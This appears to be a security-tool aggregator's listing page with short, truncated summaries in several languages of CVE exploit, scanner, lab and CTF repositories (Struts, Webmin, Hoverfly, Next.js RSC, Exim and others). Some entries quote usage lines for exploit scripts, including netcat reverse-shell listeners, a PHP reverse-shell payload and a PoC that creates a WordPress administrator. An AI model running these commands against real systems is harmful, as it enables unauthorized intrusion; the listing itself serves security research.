CVE-2024-53677

CVE-2024-53677 - Ambiente di laboratorio per l'analisi delle cause profonde di Apache Struts 2 Questo repository fornisce un ambiente basato su Docker per riprodurre la vulnerabilità CVE-2024-53677 in Apache Struts 2. Questa vulnerabilità comporta un path traversal attraverso la funzionalità di...

CVE-2019-15107

تطبيقات Webmin للإصدارات 1.890 وما دونها معرضة لثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة. CVE-2019-15107. المرجع: https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Verwendung Befehlsausführung: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse-Shell: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP...

unrealircd3.2.8.1-local-exploit

Getestet auf Metasploitable 3 VERWENDUNG Ruby Auf der Shell des Angreifers root@kitploit: nc -nlvp 1111 Auf der Shell des Opfers root@kitploit: ruby exploit.rb 127.0.0.1 Erwartete Ausgabe auf der Shell des Angreifers root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN...

CVE-2025-55182

Detector de Vulnerabilidade RCE em RSC/Next.js e Extensão Chrome PoC CVE-2025-55182 & CVE-2025-66478 Este repositório contém um kit de ferramentas de pesquisa de segurança projetado para detectar e demonstrar PoC as vulnerabilidades RCE recentemente divulgadas que afetam React Server Components R...

magnus_billing_7.3.0_RCE_CVE-2023-30258

magnusbilling7.3.0RCECVE-2023-30258 In magnus billing 7.3.0 gibt es eine Schwachstelle für Remote-Codeausführung im Parameter "democ" der Ressource "icepay.php", bei der Sie die Abfrage verlassen und den gewünschten Befehl ausführen können. VERWUNDBARER CODE root@kitploit: if isset$GET'democ' if...

CVE-2019-16759

CVE-2019-16759 Vbulletin RCE-Exploits...

cve-2017-9822

CVE-2017-9822 Wichtige Informationen Umgebung einrichten Debug einrichten Analyse Debug XmlSerializer Angriffs-Gadget ObjectDataProvider ResourceDictionary Von unsicherer XML-Deserialisierung zu RCE CVE-2017-9822 DNN auch bekannt als DotNetNuke vor Version 9.1.1 ermöglicht Remote-Code-Ausführung...

cve-2019-2725

cve-2019-2725 المراجع: Tenable - https://www.tenable.com/blog/oracle-weblogic-affected-by-unauthenticated-remote-code-execution-vulnerability-cve-2019-2725 Exploit Database - https://www.exploit-db.com/exploits/46780 PaloAlto -...

ctf-cve-2024-4577

تحدي CTF الخاص بـ CVE-2024-4577 نظرة عامة يُظهر هذا التحدي من نوع CTF ثغرة CVE-2024-4577، وهي ثغرة حرجة في حقن وسائط سطر الأوامر في PHP CGI تؤثر على إصدارات PHP 8.1.x 8.1.21 و 8.2.x 8.2.8 و 8.3.x 8.3.1. تفاصيل الثغرة CVE-2024-4577 هي ثغرة حقن وسائط سطر الأوامر في PHP CGI تحدث عندما يتم تكوين PHP...

R2S_CVE-2025-55182

ماسح CVE-2025-55182 ماسح ثغرات لـ CVE-2025-55182 - تنفيذ التعليمات البرمجية عن بُعد في Next.js Server Actions. حول CVE-2025-55182 الخطورة: حرجة CVSS TBD الإصدارات المتأثرة: Next.js: 15.x 15.5.7, 16.0.x 16.0.7 React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 التأثير: يمكن للمهاجمين عن بُعد تنفيذ تعليمات برمج...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js-RSC-RCE-Scanner-CVE-2025-66478 CVE-2025-66478 Next.js भेद्यता स्कैनर है। यह पता लगाता है कि वेबसाइट RSC React Server Components RCE भेद्यता से प्रभावित Next.js संस्करण का उपयोग कर रही है या नहीं। स्थापना और निष्पादन uv का उपयोग करना अनुशंसित uv एक तेज़ Python पैकेज प्रबंधक है। 1. uv...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Disclaimer Questo repository contiene codice proof-of-concept per CVE-2023-466064 ed è destinato esclusivamente a scopo educativo. Gli autori e i collaboratori non approvano alcuna attività illegale. Le informazioni qui presentate sono a scopo accademico, di ricerca...

cve-2017-5941-poc-docker-lab

CVE-2017-5941 — node-serialize अविश्वसनीय डी-सीरियलाइज़ेशन RCE PoC ⚠️ केवल लैब / स्व-मूल्यांकन के लिए। केवल उन्हीं सिस्टम पर उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आप अधिकृत हैं । इस रिपॉजिटरी में निम्नलिखित उपलब्ध है: node-serialize = 0.0.4 का उपयोग करने वाले कमज़ोर Node.js ऐ...

Dead.Letter-CVE-2026-45185

CVE-2026-45185 — Scanner di vulnerabilità Exim "Dead.Letter" Uno script shell per rilevare se un sistema Linux è vulnerabile a CVE-2026-45185, un use-after-free nell'Exim mail transfer agent che può portare all'esecuzione di codice remota. Progettato per l'uso in pipeline CI/CD, strumenti di...

CVE-2022-30190

CVE-2022-30190 Anleitung für die Microsoft Support Diagnostic Tool-Schwachstelle CVE-2022-30190 MSRC / Von msrc / 30. Mai 2022 Am Montag, den 30. Mai 2022, hat Microsoft CVE-2022-30190 bezüglich der Sicherheitslücke im Microsoft Support Diagnostic Tool MSDT in Windows veröffentlicht. Eine...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php Ändere $ip in Zeile 7 von phprevshell.php nc -lvnp 1234...

CVE-2024-27956-RCE

CVE-2024-27956-RCE Ein PoC für CVE-2024-27956, eine SQL-Injection im ValvePress Automatic Plugin. Dieser PoC nutzt die Schwachstelle aus, indem er einen Benutzer auf dem Zielsystem erstellt und diesem Administratorrechte verleiht. Als Administrator in WordPress kann man Remote Code Execution...

CVE-2025-55182

CVE-2025-55182 - React Server Components RCE NOTE: Written by AI/Claude https://github.com/ejpir/CVE-2025-55182-bypass TL;DR CVE-2025-55182 React के Flight Protocol में एक गंभीर RCE भेद्यता है। यह हमला पाथ ट्रावर्सल + नकली चंक इंजेक्शन + $B हैंडलर दुरुपयोग की श्रृंखला बनाकर Functionattackercode...

cve-2022-27438

CVE-2022-27438 Vulnerabilità di esecuzione di codice remoto nel controllo aggiornamenti "CustomDetection" di Caphyon Ltd Advanced Installer 19.3. Utilizzo: python3 cve-2022-27438poc.py Dettagli nel report su gerr.re. Passaggi per riprodurre Per altri prodotti interessati, è necessario modificare ...